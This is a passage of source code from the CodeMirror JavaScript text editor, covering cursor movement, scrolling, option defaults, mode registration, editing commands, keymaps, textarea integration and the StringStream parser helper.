if ((vert == 'above' || pos.bottom + node.offsetHeight > vspace) && pos.top > node.offsetHeight)
top = pos.top - node.offsetHeight;
else if (pos.bottom + node.offsetHeight <= vspace)
top = pos.bottom;
if (left + node.offsetWidth > hspace)
left = hspace - node.offsetWidth;
}
node.style.top = top + "px";
node.style.left = node.style.right = "";
if (horiz == "right") {
left = display.sizer.clientWidth - node.offsetWidth;
node.style.right = "0px";
} else {
if (horiz == "left") left = 0;
else if (horiz == "middle") left = (display.sizer.clientWidth - node.offsetWidth) / 2;
node.style.left = left + "px";
}
if (scroll)
scrollIntoView(this, left, top, left + node.offsetWidth, top + node.offsetHeight);
},
triggerOnKeyDown: methodOp(onKeyDown),
triggerOnKeyPress: methodOp(onKeyPress),
triggerOnKeyUp: onKeyUp,
execCommand: function(cmd) {
if (commands.hasOwnProperty(cmd))
return commands[cmd].call(null, this);
},
triggerElectric: methodOp(function(text) { triggerElectric(this, text); }),
findPosH: function(from, amount, unit, visually) {
var dir = 1;
if (amount < 0) { dir = -1; amount = -amount; }
for (var i = 0, cur = clipPos(this.doc, from); i < amount; ++i) {
cur = findPosH(this.doc, cur, dir, unit, visually);
if (cur.hitSide) break;
}
return cur;
},
moveH: methodOp(function(dir, unit) {
var cm = this;
cm.extendSelectionsBy(function(range) {
if (cm.display.shift || cm.doc.extend || range.empty())
return findPosH(cm.doc, range.head, dir, unit, cm.options.rtlMoveVisually);
else
return dir < 0 ? range.from() : range.to();
}, sel_move);
}),
deleteH: methodOp(function(dir, unit) {
var sel = this.doc.sel, doc = this.doc;
if (sel.somethingSelected())
doc.replaceSelection("", null, "+delete");
else
deleteNearSelection(this, function(range) {
var other = findPosH(doc, range.head, dir, unit, false);
return dir < 0 ? {from: other, to: range.head} : {from: range.head, to: other};
});
}),
findPosV: function(from, amount, unit, goalColumn) {
var dir = 1, x = goalColumn;
if (amount < 0) { dir = -1; amount = -amount; }
for (var i = 0, cur = clipPos(this.doc, from); i < amount; ++i) {
var coords = cursorCoords(this, cur, "div");
if (x == null) x = coords.left;
else coords.left = x;
cur = findPosV(this, coords, dir, unit);
if (cur.hitSide) break;
}
return cur;
},
moveV: methodOp(function(dir, unit) {
var cm = this, doc = this.doc, goals = [];
var collapse = !cm.display.shift && !doc.extend && doc.sel.somethingSelected();
doc.extendSelectionsBy(function(range) {
if (collapse)
return dir < 0 ? range.from() : range.to();
var headPos = cursorCoords(cm, range.head, "div");
if (range.goalColumn != null) headPos.left = range.goalColumn;
goals.push(headPos.left);
var pos = findPosV(cm, headPos, dir, unit);
if (unit == "page" && range == doc.sel.primary())
addToScrollPos(cm, null, charCoords(cm, pos, "div").top - headPos.top);
return pos;
}, sel_move);
if (goals.length) for (var i = 0; i < doc.sel.ranges.length; i++)
doc.sel.ranges[i].goalColumn = goals[i];
}),
// Find the word at the given position (as returned by coordsChar).
findWordAt: function(pos) {
var doc = this.doc, line = getLine(doc, pos.line).text;
var start = pos.ch, end = pos.ch;
if (line) {
var helper = this.getHelper(pos, "wordChars");
if ((pos.xRel < 0 || end == line.length) && start) --start; else ++end;
var startChar = line.charAt(start);
var check = isWordChar(startChar, helper)
? function(ch) { return isWordChar(ch, helper); }
: /\s/.test(startChar) ? function(ch) {return /\s/.test(ch);}
: function(ch) {return !/\s/.test(ch) && !isWordChar(ch);};
while (start > 0 && check(line.charAt(start - 1))) --start;
while (end < line.length && check(line.charAt(end))) ++end;
}
return new Range(Pos(pos.line, start), Pos(pos.line, end));
},
toggleOverwrite: function(value) {
if (value != null && value == this.state.overwrite) return;
if (this.state.overwrite = !this.state.overwrite)
addClass(this.display.cursorDiv, "CodeMirror-overwrite");
else
rmClass(this.display.cursorDiv, "CodeMirror-overwrite");
signal(this, "overwriteToggle", this, this.state.overwrite);
},
hasFocus: function() { return this.display.input.getField() == activeElt(); },
isReadOnly: function() { return !!(this.options.readOnly || this.doc.cantEdit); },
scrollTo: methodOp(function(x, y) {
if (x != null || y != null) resolveScrollToPos(this);
if (x != null) this.curOp.scrollLeft = x;
if (y != null) this.curOp.scrollTop = y;
}),
getScrollInfo: function() {
var scroller = this.display.scroller;
return {left: scroller.scrollLeft, top: scroller.scrollTop,
height: scroller.scrollHeight - scrollGap(this) - this.display.barHeight,
width: scroller.scrollWidth - scrollGap(this) - this.display.barWidth,
clientHeight: displayHeight(this), clientWidth: displayWidth(this)};
},
scrollIntoView: methodOp(function(range, margin) {
if (range == null) {
range = {from: this.doc.sel.primary().head, to: null};
if (margin == null) margin = this.options.cursorScrollMargin;
} else if (typeof range == "number") {
range = {from: Pos(range, 0), to: null};
} else if (range.from == null) {
range = {from: range, to: null};
}
if (!range.to) range.to = range.from;
range.margin = margin || 0;
if (range.from.line != null) {
resolveScrollToPos(this);
this.curOp.scrollToPos = range;
} else {
var sPos = calculateScrollPos(this, Math.min(range.from.left, range.to.left),
Math.min(range.from.top, range.to.top) - range.margin,
Math.max(range.from.right, range.to.right),
Math.max(range.from.bottom, range.to.bottom) + range.margin);
this.scrollTo(sPos.scrollLeft, sPos.scrollTop);
}
}),
setSize: methodOp(function(width, height) {
var cm = this;
function interpret(val) {
return typeof val == "number" || /^\d+$/.test(String(val)) ? val + "px" : val;
}
if (width != null) cm.display.wrapper.style.width = interpret(width);
if (height != null) cm.display.wrapper.style.height = interpret(height);
if (cm.options.lineWrapping) clearLineMeasurementCache(this);
var lineNo = cm.display.viewFrom;
cm.doc.iter(lineNo, cm.display.viewTo, function(line) {
if (line.widgets) for (var i = 0; i < line.widgets.length; i++)
if (line.widgets[i].noHScroll) { regLineChange(cm, lineNo, "widget"); break; }
++lineNo;
});
cm.curOp.forceUpdate = true;
signal(cm, "refresh", this);
}),
operation: function(f){return runInOp(this, f);},
refresh: methodOp(function() {
var oldHeight = this.display.cachedTextHeight;
regChange(this);
this.curOp.forceUpdate = true;
clearCaches(this);
this.scrollTo(this.doc.scrollLeft, this.doc.scrollTop);
updateGutterSpace(this);
if (oldHeight == null || Math.abs(oldHeight - textHeight(this.display)) > .5)
estimateLineHeights(this);
signal(this, "refresh", this);
}),
swapDoc: methodOp(function(doc) {
var old = this.doc;
old.cm = null;
attachDoc(this, doc);
clearCaches(this);
this.display.input.reset();
this.scrollTo(doc.scrollLeft, doc.scrollTop);
this.curOp.forceScroll = true;
signalLater(this, "swapDoc", this, old);
return old;
}),
getInputField: function(){return this.display.input.getField();},
getWrapperElement: function(){return this.display.wrapper;},
getScrollerElement: function(){return this.display.scroller;},
getGutterElement: function(){return this.display.gutters;}
};
eventMixin(CodeMirror);
// OPTION DEFAULTS
// The default configuration options.
var defaults = CodeMirror.defaults = {};
// Functions to run when options are changed.
var optionHandlers = CodeMirror.optionHandlers = {};
function option(name, deflt, handle, notOnInit) {
CodeMirror.defaults[name] = deflt;
if (handle) optionHandlers[name] =
notOnInit ? function(cm, val, old) {if (old != Init) handle(cm, val, old);} : handle;
}
// Passed to option handlers when there is no old value.
var Init = CodeMirror.Init = {toString: function(){return "CodeMirror.Init";}};
// These two are, on init, called from the constructor because they
// have to be initialized before the editor can start at all.
option("value", "", function(cm, val) {
cm.setValue(val);
}, true);
option("mode", null, function(cm, val) {
cm.doc.modeOption = val;
loadMode(cm);
}, true);
option("indentUnit", 2, loadMode, true);
option("indentWithTabs", false);
option("smartIndent", true);
option("tabSize", 4, function(cm) {
resetModeState(cm);
clearCaches(cm);
regChange(cm);
}, true);
option("lineSeparator", null, function(cm, val) {
cm.doc.lineSep = val;
if (!val) return;
var newBreaks = [], lineNo = cm.doc.first;
cm.doc.iter(function(line) {
for (var pos = 0;;) {
var found = line.text.indexOf(val, pos);
if (found == -1) break;
pos = found + val.length;
newBreaks.push(Pos(lineNo, found));
}
lineNo++;
});
for (var i = newBreaks.length - 1; i >= 0; i--)
replaceRange(cm.doc, val, newBreaks[i], Pos(newBreaks[i].line, newBreaks[i].ch + val.length))
});
option("specialChars", /[\u0000-\u001f\u007f\u00ad\u200b-\u200f\u2028\u2029\ufeff]/g, function(cm, val, old) {
cm.state.specialChars = new RegExp(val.source + (val.test("\t") ? "" : "|\t"), "g");
if (old != CodeMirror.Init) cm.refresh();
});
option("specialCharPlaceholder", defaultSpecialCharPlaceholder, function(cm) {cm.refresh();}, true);
option("electricChars", true);
option("inputStyle", mobile ? "contenteditable" : "textarea", function() {
throw new Error("inputStyle can not (yet) be changed in a running editor"); // FIXME
}, true);
option("spellcheck", false, function(cm, val) {
cm.getInputField().spellcheck = val
}, true);
option("rtlMoveVisually", !windows);
option("wholeLineUpdateBefore", true);
option("theme", "default", function(cm) {
themeChanged(cm);
guttersChanged(cm);
}, true);
option("keyMap", "default", function(cm, val, old) {
var next = getKeyMap(val);
var prev = old != CodeMirror.Init && getKeyMap(old);
if (prev && prev.detach) prev.detach(cm, next);
if (next.attach) next.attach(cm, prev || null);
});
option("extraKeys", null);
option("lineWrapping", false, wrappingChanged, true);
option("gutters", [], function(cm) {
setGuttersForLineNumbers(cm.options);
guttersChanged(cm);
}, true);
option("fixedGutter", true, function(cm, val) {
cm.display.gutters.style.left = val ? compensateForHScroll(cm.display) + "px" : "0";
cm.refresh();
}, true);
option("coverGutterNextToScrollbar", false, function(cm) {updateScrollbars(cm);}, true);
option("scrollbarStyle", "native", function(cm) {
initScrollbars(cm);
updateScrollbars(cm);
cm.display.scrollbars.setScrollTop(cm.doc.scrollTop);
cm.display.scrollbars.setScrollLeft(cm.doc.scrollLeft);
}, true);
option("lineNumbers", false, function(cm) {
setGuttersForLineNumbers(cm.options);
guttersChanged(cm);
}, true);
option("firstLineNumber", 1, guttersChanged, true);
option("lineNumberFormatter", function(integer) {return integer;}, guttersChanged, true);
option("showCursorWhenSelecting", false, updateSelection, true);
option("resetSelectionOnContextMenu", true);
option("lineWiseCopyCut", true);
option("readOnly", false, function(cm, val) {
if (val == "nocursor") {
onBlur(cm);
cm.display.input.blur();
cm.display.disabled = true;
} else {
cm.display.disabled = false;
}
cm.display.input.readOnlyChanged(val)
});
option("disableInput", false, function(cm, val) {if (!val) cm.display.input.reset();}, true);
option("dragDrop", true, dragDropChanged);
option("allowDropFileTypes", null);
option("cursorBlinkRate", 530);
option("cursorScrollMargin", 0);
option("cursorHeight", 1, updateSelection, true);
option("singleCursorHeightPerLine", true, updateSelection, true);
option("workTime", 100);
option("workDelay", 100);
option("flattenSpans", true, resetModeState, true);
option("addModeClass", false, resetModeState, true);
option("pollInterval", 100);
option("undoDepth", 200, function(cm, val){cm.doc.history.undoDepth = val;});
option("historyEventDelay", 1250);
option("viewportMargin", 10, function(cm){cm.refresh();}, true);
option("maxHighlightLength", 10000, resetModeState, true);
option("moveInputWithCursor", true, function(cm, val) {
if (!val) cm.display.input.resetPosition();
});
option("tabindex", null, function(cm, val) {
cm.display.input.getField().tabIndex = val || "";
});
option("autofocus", null);
// MODE DEFINITION AND QUERYING
// Known modes, by name and by MIME
var modes = CodeMirror.modes = {}, mimeModes = CodeMirror.mimeModes = {};
// Extra arguments are stored as the mode's dependencies, which is
// used by (legacy) mechanisms like loadmode.js to automatically
// load a mode. (Preferred mechanism is the require/define calls.)
CodeMirror.defineMode = function(name, mode) {
if (!CodeMirror.defaults.mode && name != "null") CodeMirror.defaults.mode = name;
if (arguments.length > 2)
mode.dependencies = Array.prototype.slice.call(arguments, 2);
modes[name] = mode;
};
CodeMirror.defineMIME = function(mime, spec) {
mimeModes[mime] = spec;
};
// Given a MIME type, a {name, ...options} config object, or a name
// string, return a mode config object.
CodeMirror.resolveMode = function(spec) {
if (typeof spec == "string" && mimeModes.hasOwnProperty(spec)) {
spec = mimeModes[spec];
} else if (spec && typeof spec.name == "string" && mimeModes.hasOwnProperty(spec.name)) {
var found = mimeModes[spec.name];
if (typeof found == "string") found = {name: found};
spec = createObj(found, spec);
spec.name = found.name;
} else if (typeof spec == "string" && /^[\w\-]+\/[\w\-]+\+xml$/.test(spec)) {
return CodeMirror.resolveMode("application/xml");
} else if (typeof spec == "string" && /^[\w\-]+\/[\w\-]+\+json$/.test(spec)) {
return CodeMirror.resolveMode("application/json");
}
if (typeof spec == "string") return {name: spec};
else return spec || {name: "null"};
};
// Given a mode spec (anything that resolveMode accepts), find and
// initialize an actual mode object.
CodeMirror.getMode = function(options, spec) {
var spec = CodeMirror.resolveMode(spec);
var mfactory = modes[spec.name];
if (!mfactory) return CodeMirror.getMode(options, "text/plain");
var modeObj = mfactory(options, spec);
if (modeExtensions.hasOwnProperty(spec.name)) {
var exts = modeExtensions[spec.name];
for (var prop in exts) {
if (!exts.hasOwnProperty(prop)) continue;
if (modeObj.hasOwnProperty(prop)) modeObj["_" + prop] = modeObj[prop];
modeObj[prop] = exts[prop];
}
}
modeObj.name = spec.name;
if (spec.helperType) modeObj.helperType = spec.helperType;
if (spec.modeProps) for (var prop in spec.modeProps)
modeObj[prop] = spec.modeProps[prop];
return modeObj;
};
// Minimal default mode.
CodeMirror.defineMode("null", function() {
return {token: function(stream) {stream.skipToEnd();}};
});
CodeMirror.defineMIME("text/plain", "null");
// This can be used to attach properties to mode objects from
// outside the actual mode definition.
var modeExtensions = CodeMirror.modeExtensions = {};
CodeMirror.extendMode = function(mode, properties) {
var exts = modeExtensions.hasOwnProperty(mode) ? modeExtensions[mode] : (modeExtensions[mode] = {});
copyObj(properties, exts);
};
// EXTENSIONS
CodeMirror.defineExtension = function(name, func) {
CodeMirror.prototype[name] = func;
};
CodeMirror.defineDocExtension = function(name, func) {
Doc.prototype[name] = func;
};
CodeMirror.defineOption = option;
var initHooks = [];
CodeMirror.defineInitHook = function(f) {initHooks.push(f);};
var helpers = CodeMirror.helpers = {};
CodeMirror.registerHelper = function(type, name, value) {
if (!helpers.hasOwnProperty(type)) helpers[type] = CodeMirror[type] = {_global: []};
helpers[type][name] = value;
};
CodeMirror.registerGlobalHelper = function(type, name, predicate, value) {
CodeMirror.registerHelper(type, name, value);
helpers[type]._global.push({pred: predicate, val: value});
};
// MODE STATE HANDLING
// Utility functions for working with state. Exported because nested
// modes need to do this for their inner modes.
var copyState = CodeMirror.copyState = function(mode, state) {
if (state === true) return state;
if (mode.copyState) return mode.copyState(state);
var nstate = {};
for (var n in state) {
var val = state[n];
if (val instanceof Array) val = val.concat([]);
nstate[n] = val;
}
return nstate;
};
var startState = CodeMirror.startState = function(mode, a1, a2) {
return mode.startState ? mode.startState(a1, a2) : true;
};
// Given a mode and a state (for that mode), find the inner mode and
// state at the position that the state refers to.
CodeMirror.innerMode = function(mode, state) {
while (mode.innerMode) {
var info = mode.innerMode(state);
if (!info || info.mode == mode) break;
state = info.state;
mode = info.mode;
}
return info || {mode: mode, state: state};
};
// STANDARD COMMANDS
// Commands are parameter-less actions that can be performed on an
// editor, mostly used for keybindings.
var commands = CodeMirror.commands = {
selectAll: function(cm) {cm.setSelection(Pos(cm.firstLine(), 0), Pos(cm.lastLine()), sel_dontScroll);},
singleSelection: function(cm) {
cm.setSelection(cm.getCursor("anchor"), cm.getCursor("head"), sel_dontScroll);
},
killLine: function(cm) {
deleteNearSelection(cm, function(range) {
if (range.empty()) {
var len = getLine(cm.doc, range.head.line).text.length;
if (range.head.ch == len && range.head.line < cm.lastLine())
return {from: range.head, to: Pos(range.head.line + 1, 0)};
else
return {from: range.head, to: Pos(range.head.line, len)};
} else {
return {from: range.from(), to: range.to()};
}
});
},
deleteLine: function(cm) {
deleteNearSelection(cm, function(range) {
return {from: Pos(range.from().line, 0),
to: clipPos(cm.doc, Pos(range.to().line + 1, 0))};
});
},
delLineLeft: function(cm) {
deleteNearSelection(cm, function(range) {
return {from: Pos(range.from().line, 0), to: range.from()};
});
},
delWrappedLineLeft: function(cm) {
deleteNearSelection(cm, function(range) {
var top = cm.charCoords(range.head, "div").top + 5;
var leftPos = cm.coordsChar({left: 0, top: top}, "div");
return {from: leftPos, to: range.from()};
});
},
delWrappedLineRight: function(cm) {
deleteNearSelection(cm, function(range) {
var top = cm.charCoords(range.head, "div").top + 5;
var rightPos = cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div");
return {from: range.from(), to: rightPos };
});
},
undo: function(cm) {cm.undo();},
redo: function(cm) {cm.redo();},
undoSelection: function(cm) {cm.undoSelection();},
redoSelection: function(cm) {cm.redoSelection();},
goDocStart: function(cm) {cm.extendSelection(Pos(cm.firstLine(), 0));},
goDocEnd: function(cm) {cm.extendSelection(Pos(cm.lastLine()));},
goLineStart: function(cm) {
cm.extendSelectionsBy(function(range) { return lineStart(cm, range.head.line); },
{origin: "+move", bias: 1});
},
goLineStartSmart: function(cm) {
cm.extendSelectionsBy(function(range) {
return lineStartSmart(cm, range.head);
}, {origin: "+move", bias: 1});
},
goLineEnd: function(cm) {
cm.extendSelectionsBy(function(range) { return lineEnd(cm, range.head.line); },
{origin: "+move", bias: -1});
},
goLineRight: function(cm) {
cm.extendSelectionsBy(function(range) {
var top = cm.charCoords(range.head, "div").top + 5;
return cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div");
}, sel_move);
},
goLineLeft: function(cm) {
cm.extendSelectionsBy(function(range) {
var top = cm.charCoords(range.head, "div").top + 5;
return cm.coordsChar({left: 0, top: top}, "div");
}, sel_move);
},
goLineLeftSmart: function(cm) {
cm.extendSelectionsBy(function(range) {
var top = cm.charCoords(range.head, "div").top + 5;
var pos = cm.coordsChar({left: 0, top: top}, "div");
if (pos.ch < cm.getLine(pos.line).search(/\S/)) return lineStartSmart(cm, range.head);
return pos;
}, sel_move);
},
goLineUp: function(cm) {cm.moveV(-1, "line");},
goLineDown: function(cm) {cm.moveV(1, "line");},
goPageUp: function(cm) {cm.moveV(-1, "page");},
goPageDown: function(cm) {cm.moveV(1, "page");},
goCharLeft: function(cm) {cm.moveH(-1, "char");},
goCharRight: function(cm) {cm.moveH(1, "char");},
goColumnLeft: function(cm) {cm.moveH(-1, "column");},
goColumnRight: function(cm) {cm.moveH(1, "column");},
goWordLeft: function(cm) {cm.moveH(-1, "word");},
goGroupRight: function(cm) {cm.moveH(1, "group");},
goGroupLeft: function(cm) {cm.moveH(-1, "group");},
goWordRight: function(cm) {cm.moveH(1, "word");},
delCharBefore: function(cm) {cm.deleteH(-1, "char");},
delCharAfter: function(cm) {cm.deleteH(1, "char");},
delWordBefore: function(cm) {cm.deleteH(-1, "word");},
delWordAfter: function(cm) {cm.deleteH(1, "word");},
delGroupBefore: function(cm) {cm.deleteH(-1, "group");},
delGroupAfter: function(cm) {cm.deleteH(1, "group");},
indentAuto: function(cm) {cm.indentSelection("smart");},
indentMore: function(cm) {cm.indentSelection("add");},
indentLess: function(cm) {cm.indentSelection("subtract");},
insertTab: function(cm) {cm.replaceSelection("\t");},
insertSoftTab: function(cm) {
var spaces = [], ranges = cm.listSelections(), tabSize = cm.options.tabSize;
for (var i = 0; i < ranges.length; i++) {
var pos = ranges[i].from();
var col = countColumn(cm.getLine(pos.line), pos.ch, tabSize);
spaces.push(spaceStr(tabSize - col % tabSize));
}
cm.replaceSelections(spaces);
},
defaultTab: function(cm) {
if (cm.somethingSelected()) cm.indentSelection("add");
else cm.execCommand("insertTab");
},
transposeChars: function(cm) {
runInOp(cm, function() {
var ranges = cm.listSelections(), newSel = [];
for (var i = 0; i < ranges.length; i++) {
var cur = ranges[i].head, line = getLine(cm.doc, cur.line).text;
if (line) {
if (cur.ch == line.length) cur = new Pos(cur.line, cur.ch - 1);
if (cur.ch > 0) {
cur = new Pos(cur.line, cur.ch + 1);
cm.replaceRange(line.charAt(cur.ch - 1) + line.charAt(cur.ch - 2),
Pos(cur.line, cur.ch - 2), cur, "+transpose");
} else if (cur.line > cm.doc.first) {
var prev = getLine(cm.doc, cur.line - 1).text;
if (prev)
cm.replaceRange(line.charAt(0) + cm.doc.lineSeparator() +
prev.charAt(prev.length - 1),
Pos(cur.line - 1, prev.length - 1), Pos(cur.line, 1), "+transpose");
}
}
newSel.push(new Range(cur, cur));
}
cm.setSelections(newSel);
});
},
newlineAndIndent: function(cm) {
runInOp(cm, function() {
var len = cm.listSelections().length;
for (var i = 0; i < len; i++) {
var range = cm.listSelections()[i];
cm.replaceRange(cm.doc.lineSeparator(), range.anchor, range.head, "+input");
cm.indentLine(range.from().line + 1, null, true);
}
ensureCursorVisible(cm);
});
},
openLine: function(cm) {cm.replaceSelection("\n", "start")},
toggleOverwrite: function(cm) {cm.toggleOverwrite();}
};
// STANDARD KEYMAPS
var keyMap = CodeMirror.keyMap = {};
keyMap.basic = {
"Left": "goCharLeft", "Right": "goCharRight", "Up": "goLineUp", "Down": "goLineDown",
"End": "goLineEnd", "Home": "goLineStartSmart", "PageUp": "goPageUp", "PageDown": "goPageDown",
"Delete": "delCharAfter", "Backspace": "delCharBefore", "Shift-Backspace": "delCharBefore",
"Tab": "defaultTab", "Shift-Tab": "indentAuto",
"Enter": "newlineAndIndent", "Insert": "toggleOverwrite",
"Esc": "singleSelection"
};
// Note that the save and find-related commands aren't defined by
// default. User code or addons can define them. Unknown commands
// are simply ignored.
keyMap.pcDefault = {
"Ctrl-A": "selectAll", "Ctrl-D": "deleteLine", "Ctrl-Z": "undo", "Shift-Ctrl-Z": "redo", "Ctrl-Y": "redo",
"Ctrl-Home": "goDocStart", "Ctrl-End": "goDocEnd", "Ctrl-Up": "goLineUp", "Ctrl-Down": "goLineDown",
"Ctrl-Left": "goGroupLeft", "Ctrl-Right": "goGroupRight", "Alt-Left": "goLineStart", "Alt-Right": "goLineEnd",
"Ctrl-Backspace": "delGroupBefore", "Ctrl-Delete": "delGroupAfter", "Ctrl-S": "save", "Ctrl-F": "find",
"Ctrl-G": "findNext", "Shift-Ctrl-G": "findPrev", "Shift-Ctrl-F": "replace", "Shift-Ctrl-R": "replaceAll",
"Ctrl-[": "indentLess", "Ctrl-]": "indentMore",
"Ctrl-U": "undoSelection", "Shift-Ctrl-U": "redoSelection", "Alt-U": "redoSelection",
fallthrough: "basic"
};
// Very basic readline/emacs-style bindings, which are standard on Mac.
keyMap.emacsy = {
"Ctrl-F": "goCharRight", "Ctrl-B": "goCharLeft", "Ctrl-P": "goLineUp", "Ctrl-N": "goLineDown",
"Alt-F": "goWordRight", "Alt-B": "goWordLeft", "Ctrl-A": "goLineStart", "Ctrl-E": "goLineEnd",
"Ctrl-V": "goPageDown", "Shift-Ctrl-V": "goPageUp", "Ctrl-D": "delCharAfter", "Ctrl-H": "delCharBefore",
"Alt-D": "delWordAfter", "Alt-Backspace": "delWordBefore", "Ctrl-K": "killLine", "Ctrl-T": "transposeChars",
"Ctrl-O": "openLine"
};
keyMap.macDefault = {
"Cmd-A": "selectAll", "Cmd-D": "deleteLine", "Cmd-Z": "undo", "Shift-Cmd-Z": "redo", "Cmd-Y": "redo",
"Cmd-Home": "goDocStart", "Cmd-Up": "goDocStart", "Cmd-End": "goDocEnd", "Cmd-Down": "goDocEnd", "Alt-Left": "goGroupLeft",
"Alt-Right": "goGroupRight", "Cmd-Left": "goLineLeft", "Cmd-Right": "goLineRight", "Alt-Backspace": "delGroupBefore",
"Ctrl-Alt-Backspace": "delGroupAfter", "Alt-Delete": "delGroupAfter", "Cmd-S": "save", "Cmd-F": "find",
"Cmd-G": "findNext", "Shift-Cmd-G": "findPrev", "Cmd-Alt-F": "replace", "Shift-Cmd-Alt-F": "replaceAll",
"Cmd-[": "indentLess", "Cmd-]": "indentMore", "Cmd-Backspace": "delWrappedLineLeft", "Cmd-Delete": "delWrappedLineRight",
"Cmd-U": "undoSelection", "Shift-Cmd-U": "redoSelection", "Ctrl-Up": "goDocStart", "Ctrl-Down": "goDocEnd",
fallthrough: ["basic", "emacsy"]
};
keyMap["default"] = mac ? keyMap.macDefault : keyMap.pcDefault;
// KEYMAP DISPATCH
function normalizeKeyName(name) {
var parts = name.split(/-(?!$)/), name = parts[parts.length - 1];
var alt, ctrl, shift, cmd;
for (var i = 0; i < parts.length - 1; i++) {
var mod = parts[i];
if (/^(cmd|meta|m)$/i.test(mod)) cmd = true;
else if (/^a(lt)?$/i.test(mod)) alt = true;
else if (/^(c|ctrl|control)$/i.test(mod)) ctrl = true;
else if (/^s(hift)$/i.test(mod)) shift = true;
else throw new Error("Unrecognized modifier name: " + mod);
}
if (alt) name = "Alt-" + name;
if (ctrl) name = "Ctrl-" + name;
if (cmd) name = "Cmd-" + name;
if (shift) name = "Shift-" + name;
return name;
}
// This is a kludge to keep keymaps mostly working as raw objects
// (backwards compatibility) while at the same time support features
// like normalization and multi-stroke key bindings. It compiles a
// new normalized keymap, and then updates the old object to reflect
// this.
CodeMirror.normalizeKeyMap = function(keymap) {
var copy = {};
for (var keyname in keymap) if (keymap.hasOwnProperty(keyname)) {
var value = keymap[keyname];
if (/^(name|fallthrough|(de|at)tach)$/.test(keyname)) continue;
if (value == "...") { delete keymap[keyname]; continue; }
var keys = map(keyname.split(" "), normalizeKeyName);
for (var i = 0; i < keys.length; i++) {
var val, name;
if (i == keys.length - 1) {
name = keys.join(" ");
val = value;
} else {
name = keys.slice(0, i + 1).join(" ");
val = "...";
}
var prev = copy[name];
if (!prev) copy[name] = val;
else if (prev != val) throw new Error("Inconsistent bindings for " + name);
}
delete keymap[keyname];
}
for (var prop in copy) keymap[prop] = copy[prop];
return keymap;
};
var lookupKey = CodeMirror.lookupKey = function(key, map, handle, context) {
map = getKeyMap(map);
var found = map.call ? map.call(key, context) : map[key];
if (found === false) return "nothing";
if (found === "...") return "multi";
if (found != null && handle(found)) return "handled";
if (map.fallthrough) {
if (Object.prototype.toString.call(map.fallthrough) != "[object Array]")
return lookupKey(key, map.fallthrough, handle, context);
for (var i = 0; i < map.fallthrough.length; i++) {
var result = lookupKey(key, map.fallthrough[i], handle, context);
if (result) return result;
}
}
};
// Modifier key presses don't count as 'real' key presses for the
// purpose of keymap fallthrough.
var isModifierKey = CodeMirror.isModifierKey = function(value) {
var name = typeof value == "string" ? value : keyNames[value.keyCode];
return name == "Ctrl" || name == "Alt" || name == "Shift" || name == "Mod";
};
// Look up the name of a key as indicated by an event object.
var keyName = CodeMirror.keyName = function(event, noShift) {
if (presto && event.keyCode == 34 && event["char"]) return false;
var base = keyNames[event.keyCode], name = base;
if (name == null || event.altGraphKey) return false;
if (event.altKey && base != "Alt") name = "Alt-" + name;
if ((flipCtrlCmd ? event.metaKey : event.ctrlKey) && base != "Ctrl") name = "Ctrl-" + name;
if ((flipCtrlCmd ? event.ctrlKey : event.metaKey) && base != "Cmd") name = "Cmd-" + name;
if (!noShift && event.shiftKey && base != "Shift") name = "Shift-" + name;
return name;
};
function getKeyMap(val) {
return typeof val == "string" ? keyMap[val] : val;
}
// FROMTEXTAREA
CodeMirror.fromTextArea = function(textarea, options) {
options = options ? copyObj(options) : {};
options.value = textarea.value;
if (!options.tabindex && textarea.tabIndex)
options.tabindex = textarea.tabIndex;
if (!options.placeholder && textarea.placeholder)
options.placeholder = textarea.placeholder;
// Set autofocus to true if this textarea is focused, or if it has
// autofocus and no other element is focused.
if (options.autofocus == null) {
var hasFocus = activeElt();
options.autofocus = hasFocus == textarea ||
textarea.getAttribute("autofocus") != null && hasFocus == document.body;
}
function save() {textarea.value = cm.getValue();}
if (textarea.form) {
on(textarea.form, "submit", save);
// Deplorable hack to make the submit method do the right thing.
if (!options.leaveSubmitMethodAlone) {
var form = textarea.form, realSubmit = form.submit;
try {
var wrappedSubmit = form.submit = function() {
save();
form.submit = realSubmit;
form.submit();
form.submit = wrappedSubmit;
};
} catch(e) {}
}
}
options.finishInit = function(cm) {
cm.save = save;
cm.getTextArea = function() { return textarea; };
cm.toTextArea = function() {
cm.toTextArea = isNaN; // Prevent this from being ran twice
save();
textarea.parentNode.removeChild(cm.getWrapperElement());
textarea.style.display = "";
if (textarea.form) {
off(textarea.form, "submit", save);
if (typeof textarea.form.submit == "function")
textarea.form.submit = realSubmit;
}
};
};
textarea.style.display = "none";
var cm = CodeMirror(function(node) {
textarea.parentNode.insertBefore(node, textarea.nextSibling);
}, options);
return cm;
};
// STRING STREAM
// Fed to the mode parsers, provides helper functions to make
// parsers more succinct.
var StringStream = CodeMirror.StringStream = function(string, tabSize) {
this.pos = this.start = 0;
this.string = string;
this.tabSize = tabSize || 8;
this.lastColumnPos = this.lastColumnValue = 0;
this.lineStart = 0;
};
StringStream.prototype = {
eol: function() {return this.pos >= this.string.length;},
sol: function() {return this.pos == this.lineStart;},
peek: function() {return this.string.charAt(this.pos) || undefined;},
next: function() {
if (this.pos < this.string.length)
return this.string.charAt(this.pos++);
},
eat: function(match) {
var ch = this.string.charAt(this.pos);
if (typeof match == "string") var ok = ch == match;
else var ok = ch && (match.test ? match.test(ch) : match(ch));
if (ok) {++this.pos; return ch;}
},
eatWhile: function(match) {
var start = this.pos;
while (this.eat(match)){}
return this.pos > start;
},
eatSpace: function() {
var start = this.pos;
while (/[\s\u00a0]/.test(this.string.charAt(this.pos))) ++this.pos;
return this.pos > start;
},
skipToEnd: function() {this.pos = this.string.length;},
skipTo: function(ch) {
var found = this.string.indexOf(ch, this.pos);
if (found > -1) {this.pos = found; return true;}
},
backUp: function(n) {this.pos -= n;},
column: function() {
if (this.lastColumnPos < this.start) {
this.lastColumnValue = countColumn(this.string, this.start, this.tabSize, this.lastColumnPos, this.lastColumnValue);
this.lastColumnPos = this.start;
}
return this.lastColumnValue - (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);
},
indentation: function() {
return countColumn(this.string, null, this.tabSize) -
(this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);
},
match: function(pattern, consume, caseInsensitive) {
if (typeof pattern == "string") {
var cased = function(str) {return caseInsensitive ? str.toLowerCase() : str;};
var substr = this.string.substr(this.pos, pattern.length);
if (cased(substr) == cased(pattern)) {
if (consume !== false) this.pos += pattern.length;
return true;
}
} else {
